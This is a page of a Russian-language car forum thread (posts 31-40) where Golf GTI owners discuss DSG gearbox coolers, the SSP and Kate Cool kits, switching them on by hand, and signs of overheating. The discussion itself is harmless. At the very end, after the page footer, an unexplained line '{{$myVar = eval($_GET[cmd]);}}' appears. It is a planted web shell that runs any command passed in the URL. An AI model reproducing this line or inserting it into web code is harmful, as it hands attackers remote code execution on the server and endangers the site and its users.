+ Ответить в теме
Страница 4 из 5 ПерваяПервая ... 2 3 4 5 ПоследняяПоследняя
Показано с 31 по 40 из 47

Тема: Мысли о теплообменниках DSG


  1. #31
    GTI-Racing popoopop123 is on a distinguished road Аватар для popoopop123
    Регистрация
    26.07.2012
    Откуда
    Msk
    Машина
    Golf-V GTI
    Сообщений
    238
    Я себе заказал такой) в четверг буду ставить.
    Обосновать не могу но считаю, что увеличенный кулер пойдет только на пользу, поскольку проблемы с перегревом DSG у меня были даже зимой) В сильных пробках или когда по 15 раз пытался въехать в гараж после метели. Толчки скажем так при включении D не из приятных)

  2. #32
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Правильно.
    песок сыпется....не останавливайтесь на достигнутом !

  3. #33
    GTI-Racing eXtreeM will become famous soon enough eXtreeM will become famous soon enough Аватар для eXtreeM
    Регистрация
    12.08.2007
    Откуда
    Москва (почти)
    Машина
    GTI 6 WhiteCandy DSG 4motion
    Сообщений
    570
    Цитата Сообщение от ASKer Посмотреть сообщение
    Да не вопрос, можно сделать одну кнопку на насос, другую кнопку на вентилятор и сидеть переключать :-) Но это не удовлетворяет моим требованиям к авто на каждый день.
    У SSP переключатель запитывает и помпу и кулер. Пока не включишь - работать не будет. Зачем городить огород?

  4. #34
    Новичок ASKer will become famous soon enough ASKer will become famous soon enough Аватар для ASKer
    Регистрация
    04.01.2009
    Откуда
    Краснодар
    Машина
    GTI mkVI
    Сообщений
    203
    Цитата Сообщение от eXtreeM Посмотреть сообщение
    У SSP переключатель запитывает и помпу и кулер. Пока не включишь - работать не будет. Зачем городить огород?
    Ну будет одна кнопка и на насос, и на вентилятор, что это меняет? Всё равно нужно вручную нужно переключать...

    ---------- Сообщение добавлено в 16:56 ---------- Предыдущее сообщение размещено в 16:55 ----------

    Цитата Сообщение от popoopop123 Посмотреть сообщение
    Я себе заказал такой) в четверг буду ставить.
    Обосновать не могу но считаю, что увеличенный кулер пойдет только на пользу, поскольку проблемы с перегревом DSG у меня были даже зимой) В сильных пробках или когда по 15 раз пытался въехать в гараж после метели. Толчки скажем так при включении D не из приятных)
    А как диагностировал, что у тебя перегрев коробки? Просто интересно...
    #everyday GTI
    #revo st3 engine tune #cts turbo k04 #eurojet turboback exhaust #GFB DV+ #china charge&discharge pipe #Vibra Technics subframe mount #rs3 style silentblocks #cts turbo intercooler #revo st2 dsg tune #LSD Peloquin #Bilstein B8 + H&R -30 springs #ATE PowerDisc + ATE Cermic pads #Polar FIS Adv #RDash LED mirror, footwell, license plate light #ESX stealth subwoofer

  5. #35
    GTI-Racing eXtreeM will become famous soon enough eXtreeM will become famous soon enough Аватар для eXtreeM
    Регистрация
    12.08.2007
    Откуда
    Москва (почти)
    Машина
    GTI 6 WhiteCandy DSG 4motion
    Сообщений
    570
    Цитата Сообщение от ASKer Посмотреть сообщение
    Ну будет одна кнопка и на насос, и на вентилятор, что это меняет? Всё равно нужно вручную нужно переключать...

    ---------- Сообщение добавлено в 16:56 ---------- Предыдущее сообщение размещено в 16:55 ----------


    А как диагностировал, что у тебя перегрев коробки? Просто интересно...
    Охлаждение не всегда нужно. Зачем охлаждать в -30 например?

  6. #36
    Новичок ASKer will become famous soon enough ASKer will become famous soon enough Аватар для ASKer
    Регистрация
    04.01.2009
    Откуда
    Краснодар
    Машина
    GTI mkVI
    Сообщений
    203
    Цитата Сообщение от eXtreeM Посмотреть сообщение
    Охлаждение не всегда нужно. Зачем охлаждать в -30 например?
    Вот как раз поэтому я и хочу, чтобы охлаждение работало тогда когда нужно, а не когда кнопку нажали :-)
    #everyday GTI
    #revo st3 engine tune #cts turbo k04 #eurojet turboback exhaust #GFB DV+ #china charge&discharge pipe #Vibra Technics subframe mount #rs3 style silentblocks #cts turbo intercooler #revo st2 dsg tune #LSD Peloquin #Bilstein B8 + H&R -30 springs #ATE PowerDisc + ATE Cermic pads #Polar FIS Adv #RDash LED mirror, footwell, license plate light #ESX stealth subwoofer

  7. #37
    GTI-Racing eXtreeM will become famous soon enough eXtreeM will become famous soon enough Аватар для eXtreeM
    Регистрация
    12.08.2007
    Откуда
    Москва (почти)
    Машина
    GTI 6 WhiteCandy DSG 4motion
    Сообщений
    570
    Цитата Сообщение от ASKer Посмотреть сообщение
    Вот как раз поэтому я и хочу, чтобы охлаждение работало тогда когда нужно, а не когда кнопку нажали :-)
    Таких решений нет на рынке. Самое оптимальное - SSP.

  8. #38
    Новичок ASKer will become famous soon enough ASKer will become famous soon enough Аватар для ASKer
    Регистрация
    04.01.2009
    Откуда
    Краснодар
    Машина
    GTI mkVI
    Сообщений
    203
    Цитата Сообщение от eXtreeM Посмотреть сообщение
    Таких решений нет на рынке.
    С этого я и начал.
    Цитата Сообщение от eXtreeM Посмотреть сообщение
    Самое оптимальное - SSP.
    Если не единственное.

    Вообще, рынок комплектов охлаждения DSG очень скуден. Я знаю только SSP и Kate Cool.
    #everyday GTI
    #revo st3 engine tune #cts turbo k04 #eurojet turboback exhaust #GFB DV+ #china charge&discharge pipe #Vibra Technics subframe mount #rs3 style silentblocks #cts turbo intercooler #revo st2 dsg tune #LSD Peloquin #Bilstein B8 + H&R -30 springs #ATE PowerDisc + ATE Cermic pads #Polar FIS Adv #RDash LED mirror, footwell, license plate light #ESX stealth subwoofer

  9. #39
    GTI-Racing popoopop123 is on a distinguished road Аватар для popoopop123
    Регистрация
    26.07.2012
    Откуда
    Msk
    Машина
    Golf-V GTI
    Сообщений
    238
    Дык написал же при нагретой в усмерть DSG при переключении с N обратно на D то получаешь сильный пинок под зад, даже если пытаешься всё включить нежно и ласково) Но при холодной всё хорошо.

  10. #40
    Кобрабля 2esco is a splendid one to behold 2esco is a splendid one to behold 2esco is a splendid one to behold 2esco is a splendid one to behold 2esco is a splendid one to behold 2esco is a splendid one to behold Аватар для 2esco
    Регистрация
    27.12.2010
    Откуда
    Moscow
    Машина
    Candy
    Сообщений
    2,288
    Цитата Сообщение от popoopop123 Посмотреть сообщение
    Дык написал же при нагретой в усмерть DSG при переключении с N обратно на D то получаешь сильный пинок под зад, даже если пытаешься всё включить нежно и ласково) Но при холодной всё хорошо.
    может махачу привет??
    Провокатор^^

+ Ответить в теме
Страница 4 из 5 ПерваяПервая ... 2 3 4 5 ПоследняяПоследняя

Похожие темы

  1. Ответов: 6
    Последнее сообщение: 14.10.2011, 19:47
  2. ЧМ 2018....... проблемы, мысли, мнения
    от BON в разделе Курилка
    Ответов: 21
    Последнее сообщение: 04.12.2010, 01:35
  3. Продажи Широкко. Мысли вслух.
    от IvanGTIV в разделе Украина
    Ответов: 21
    Последнее сообщение: 07.01.2010, 01:49
  4. Ответов: 6
    Последнее сообщение: 09.06.2009, 10:11

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}